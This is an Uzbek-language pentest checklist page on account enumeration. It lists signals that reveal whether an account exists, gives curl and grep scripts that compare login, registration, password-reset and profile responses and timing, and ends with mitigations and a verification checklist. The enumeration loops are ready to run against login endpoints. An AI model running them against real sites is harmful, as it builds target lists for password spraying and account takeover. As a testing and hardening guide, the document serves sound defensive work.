👤
Account enumeration
Kimlarning ro'yxatda borligini
1
Maqsad
kimlarning ro'yxatda borligini aniqlashSayt ro'yxatda bor / yo'qligini yashirmasa — hujumchi barcha foydalanuvchilar ro'yxatini chiqaradi va keyingi bosqich (spray, parol tiklash) uchun nishonlar ro'yxati oladi.
2
Tushuntirish
8 ta signal| Signal | Misol |
|---|---|
| Javob matni | "Bu email ro'yxatda yo'q" vs "xabar yuborildi" |
| HTTP kodi | 200 (yo'q) vs 400 (bor) |
| Vaqt | email yuborish 800 ms, topilmasa 40 ms |
| Redirect | /login?err=noemail vs /check-email |
| Kichik javob (rаfт) | "Foydalanuvchi topilmadi" qisqa |
| Field styling | email maydonida xato = mavjud |
| Username | "bu nick band" — to'g'ridan-to'g'ri |
| Profil | /u/ahmed → 200 (mavjud) / 404 |
3
Qanday aniqlanadi
# 1) ro'yxatdan o'tish / tiklash / login javoblari grep -rniE "already|registered|exists|not found|topilmadi|ro'yxatda" src/ | head # 2) vaqt farqi for E in mavjud@site.uz yoq@site.uz; do for I in 1 2 3; do curl -s -o /dev/null -w "$E %{time_total}\n" -X POST \ https://site.uz/api/auth/forgot-password -H "Content-Type: application/json" \ -d "{\"email\":\"$E\"}" done done
4
Buyruqlar
avtomatik taqqoslash# 1) login — xato matni farqi curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"mavjud@site.uz","password":"X"}' | jq -r .message curl -s -X POST https://site.uz/api/auth/login -H "Content-Type: application/json" \ -d '{"email":"yoq@site.uz","password":"X"}' | jq -r .message # 2) ro'yxatdan o'tish curl -s -X POST https://site.uz/api/auth/register -H "Content-Type: application/json" \ -d '{"email":"mavjud@site.uz","password":"Test1234!"}' | jq -c . curl -s -X POST https://site.uz/api/auth/register -H "Content-Type: application/json" \ -d '{"email":"yangi@site.uz","password":"Test1234!"}' | jq -c . # 3) parol tiklash for E in admin@site.uz random-nonexistent-99@site.uz; do echo " $E → $(curl -s -X POST https://site.uz/api/auth/forgot-password \ -H 'Content-Type: application/json' -d "{\"email\":\"$E\"}" | jq -c .)" done # 4) tizimli ro'yxat yig'ish (o'z domeningiz) EMAILS="admin@ info@ support@ test@ demo@ user@ webmaster@ postmaster@ root@" for E in $EMAILS; do R=$(curl -s -m 5 -X POST https://site.uz/api/auth/forgot-password \ -H "Content-Type: application/json" -d "{\"email\":\"$E\"}" | jq -c .) echo " $E → $R" done # 5) vaqt tahlili (eng ishonchli signal) for E in bor@site.uz yoq@site.uz; do T=$(for I in 1 2 3 4 5; do curl -s -o /dev/null -w "%{time_total} " -X POST \ https://site.uz/api/auth/forgot-password -H "Content-Type: application/json" \ -d "{\"email\":\"$E\"}" done) echo " $E: $T" done # 0.8s vs 0.04s → email yuborilmoqda = mavjud # 6) nick bilan (agar mavjud bo'lsa) for N in admin administrator test info; do echo " $N → $(curl -s -o /dev/null -w '%{http_code}' https://site.uz/u/$N)" done
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`Bu email band` xabari keldi | **Enumeration — aniq** |
Boshqa email bilan javob farq qildi | **Ro'yxatni olish mumkin** |
Bir xil email 800 ms, boshqa 40 ms | **Vaqt orqali aniqlash** |
`/u/nick` mavjudlikni ko'rsatdi | **Profil orqali** |
HTTP kodi farq qildi (400 vs 200) | **Ishonchli signal** |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
Har doim bir xil javob | **Yaxshi** |
Vaqt farqi < 100 ms | **Yaxshi** |
Ro'yxatdan o'tish 200, login 401 — bir xil | **To'g'ri** |
6
Zararni yopish
1. Har doim bir xil javob
// BARCHA joylarda bitta matn:
res.json({ success: true,
message: "Agar bu email ro'yxatda bo'lsa, biz sizga xabar yuboramiz." });
// HTTP kodi ham bir xil — 200
2. Vaqtni tekislash
// email bor ham, yo'q ham — har doim ~400 ms const t0 = Date.now(); if (user) await sendMail(user.email, link); // 350 ms const wait = 400 - (Date.now() - t0); if (wait > 0) await sleep(wait);
3. Profil yashirish
// 200 emas, lekin har doim bir xil sahifa ("profil topilmadi") // yoki login talab qilish (ro'yxatdan o'tish uchun emas)
4. Rate limit
limit('enum', { points: 20, duration: 3600 }); // IP bo'yicha so'rovlar
5. Umumiy qoida
Login, ro'yxatdan o'tish, parol tiklash, username o'zgartirish — to'rtala endpoint ham bir xil javob va bir xil vaqt berishi kerak.
7
Tekshirish ro'yxati
- Login va register bir xil javob beradi
- Parol tiklash har doim bir xil
- Vaqt farqi 100 ms dan kam
- Rate limit 20 so'rov/soat
- Profil URL'i mavjudlikni oshkor qilmaydi
- `mavjud@` va `yoq@` bilan vaqt solishtirildi